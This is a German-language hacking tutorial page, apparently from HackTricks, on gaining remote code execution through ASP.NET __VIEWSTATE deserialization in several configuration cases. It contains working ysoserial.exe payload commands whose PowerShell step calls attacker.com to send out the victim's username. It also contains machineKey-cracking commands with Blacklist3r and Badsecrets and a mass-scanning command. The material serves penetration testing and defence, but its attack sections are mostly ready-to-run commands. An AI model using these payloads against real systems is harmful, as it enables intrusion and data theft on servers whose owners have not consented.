# Ausnutzen von \_\_VIEWSTATE ohne die Geheimnisse zu kennen
{{#include ../../banners/hacktricks-training.md}}
## Was ist ViewState
**ViewState** dient als das Standardmechanismus in ASP.NET, um Seiten- und Steuerungsdaten über Webseiten hinweg zu erhalten. Während der Darstellung des HTML einer Seite werden der aktuelle Zustand der Seite und die Werte, die während eines Postbacks erhalten bleiben sollen, in base64-kodierte Zeichenfolgen serialisiert. Diese Zeichenfolgen werden dann in versteckten ViewState-Feldern platziert.
ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kombinationen charakterisiert werden:
- **Base64**:
- Dieses Format wird verwendet, wenn sowohl die Attribute `EnableViewStateMac` als auch `ViewStateEncryptionMode` auf false gesetzt sind.
- **Base64 + MAC (Message Authentication Code) aktiviert**:
- Die Aktivierung von MAC erfolgt durch Setzen des Attributs `EnableViewStateMac` auf true. Dies bietet eine Integritätsüberprüfung für ViewState-Daten.
- **Base64 + Verschlüsselt**:
- Verschlüsselung wird angewendet, wenn das Attribut `ViewStateEncryptionMode` auf true gesetzt ist, um die Vertraulichkeit der ViewState-Daten zu gewährleisten.
## Testfälle
Das Bild ist eine Tabelle, die verschiedene Konfigurationen für ViewState in ASP.NET basierend auf der .NET-Framework-Version detailliert. Hier ist eine Zusammenfassung des Inhalts:
1. Für **jede Version von .NET**, wenn sowohl MAC als auch Verschlüsselung deaktiviert sind, ist kein MachineKey erforderlich, und somit gibt es keine anwendbare Methode, um ihn zu identifizieren.
2. Für **Versionen unter 4.5**, wenn MAC aktiviert, aber die Verschlüsselung nicht aktiviert ist, ist ein MachineKey erforderlich. Die Methode zur Identifizierung des MachineKey wird als "Blacklist3r" bezeichnet.
3. Für **Versionen unter 4.5**, unabhängig davon, ob MAC aktiviert oder deaktiviert ist, wenn die Verschlüsselung aktiviert ist, wird ein MachineKey benötigt. Die Identifizierung des MachineKey ist eine Aufgabe für "Blacklist3r - Future Development."
4. Für **Versionen 4.5 und höher** erfordern alle Kombinationen von MAC und Verschlüsselung (ob beide true sind oder einer true und der andere false) einen MachineKey. Der MachineKey kann mit "Blacklist3r" identifiziert werden.
### Testfall: 1 – EnableViewStateMac=false und viewStateEncryptionMode=false
Es ist auch möglich, das ViewStateMAC vollständig zu deaktivieren, indem der Registrierungswert `AspNetEnforceViewStateMac` auf null gesetzt wird in:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifizieren von ViewState-Attributen**
Sie können versuchen zu identifizieren, ob ViewState MAC-geschützt ist, indem Sie eine Anfrage mit diesem Parameter mit BurpSuite erfassen. Wenn Mac nicht verwendet wird, um den Parameter zu schützen, können Sie ihn mit [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) ausnutzen.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Testfall 1.5 – Wie Testfall 1, aber das ViewState-Cookie wird nicht vom Server gesendet
Entwickler können **ViewState** davon abhalten, Teil einer HTTP-Anfrage zu werden (der Benutzer erhält dieses Cookie nicht).\
Man könnte annehmen, dass, wenn **ViewState** **nicht vorhanden** ist, ihre Implementierung **sicher** vor potenziellen Schwachstellen ist, die mit der Deserialisierung von ViewState verbunden sind.\
Das ist jedoch nicht der Fall. Wenn wir den **ViewState-Parameter** zum Anfragekörper hinzufügen und unser serialisiertes Payload, das mit ysoserial erstellt wurde, senden, werden wir immer noch in der Lage sein, **Codeausführung** zu erreichen, wie in **Fall 1** gezeigt.
### Testfall: 2 – .Net < 4.5 und EnableViewStateMac=true & ViewStateEncryptionMode=false
Um **ViewState MAC** für eine **spezifische Seite** zu **aktivieren**, müssen wir folgende Änderungen an einer bestimmten aspx-Datei vornehmen:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Wir können dies auch für die **gesamt** Anwendung tun, indem wir es in der **web.config**-Datei wie unten gezeigt festlegen:
```xml
```
Da der Parameter diesmal MAC-geschützt ist, müssen wir zuerst den verwendeten Schlüssel haben, um den Angriff erfolgreich auszuführen.
Sie können versuchen, [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) zu verwenden, um den verwendeten Schlüssel zu finden.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, sodass es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit gibt. Für .NET viewstates gibt es ein "python blacklist3r" Dienstprogramm, das der schnellste Weg ist, es zu verwenden.
Es kann entweder direkt mit dem viewstate und dem Generator versorgt werden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
Oder es kann sich direkt mit der Ziel-URL verbinden und versuchen, den viewstate aus dem HTML herauszuschneiden:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
Um anfällige Viewstates im großen Maßstab zu suchen, in Verbindung mit der Subdomain-Enumeration, kann das `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) Modul verwendet werden:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
Wenn Sie Glück haben und der Schlüssel gefunden wird, können Sie mit dem Angriff unter Verwendung von [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht** vom Server **gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese:
```bash
--apppath="/" --path="/hello.aspx"
```
### Testfall: 3 – .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true
In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und Sie **benötigen den Machine Key, um Ihre Payload zu verschlüsseln**, um die Schwachstelle auszunutzen.
**In diesem Fall ist das** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **Modul in Entwicklung...**
**Vor .NET 4.5** kann ASP.NET einen **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.**
Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE unter Verwendung der ViewState-Deserialisierungsanfälligkeit durchzuführen.
- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl.
### Testfall: 4 – .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false, außer beide Attribute auf false
Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den folgenden Parameter in die web.config-Datei einfügen, wie unten gezeigt.
```xml
```
Alternativ kann dies erreicht werden, indem die folgende Option im `machineKey` Parameter der web.config-Datei angegeben wird.
```bash
compatibilityMode="Framework45"
```
Wie im Vorherigen ist der **Wert verschlüsselt.** Um eine **gültige Payload zu senden, benötigt der Angreifer den Schlüssel**.
Sie können versuchen, [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) zu verwenden, um den verwendeten Schlüssel zu finden:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Für eine detailliertere Beschreibung von IISDirPath und TargetPagePath [siehe hier](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Oder mit [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (mit einem Generatorwert):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
Sobald ein gültiger Machine Key identifiziert ist, **besteht der nächste Schritt darin, eine serialisierte Payload zu generieren, indem** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den `--generator` Parameter mit diesem Wert zu **verwenden** und die Parameter `--path` und `--apppath` **auszulassen**.
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, das über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
### Testfall 6 – ViewStateUserKeys wird verwendet
Die **ViewStateUserKey**-Eigenschaft kann verwendet werden, um sich gegen einen **CSRF-Angriff** zu **verteidigen**. Wenn ein solcher Schlüssel in der Anwendung definiert wurde und wir versuchen, die **ViewState**-Payload mit den bis jetzt besprochenen Methoden zu generieren, wird die **Payload von der Anwendung nicht verarbeitet**.\
Sie müssen einen weiteren Parameter verwenden, um die Payload korrekt zu erstellen:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Ergebnis einer erfolgreichen Ausnutzung
Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** funktioniert, antwortet der Server mit “**500 Internal server error**” und dem Antwortinhalt “**Die Statusinformationen sind für diese Seite ungültig und könnten beschädigt sein**” und wir erhalten die OOB-Anfrage.
Überprüfen Sie [weitere Informationen hier]()
## Referenzen
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
{{#include ../../banners/hacktricks-training.md}}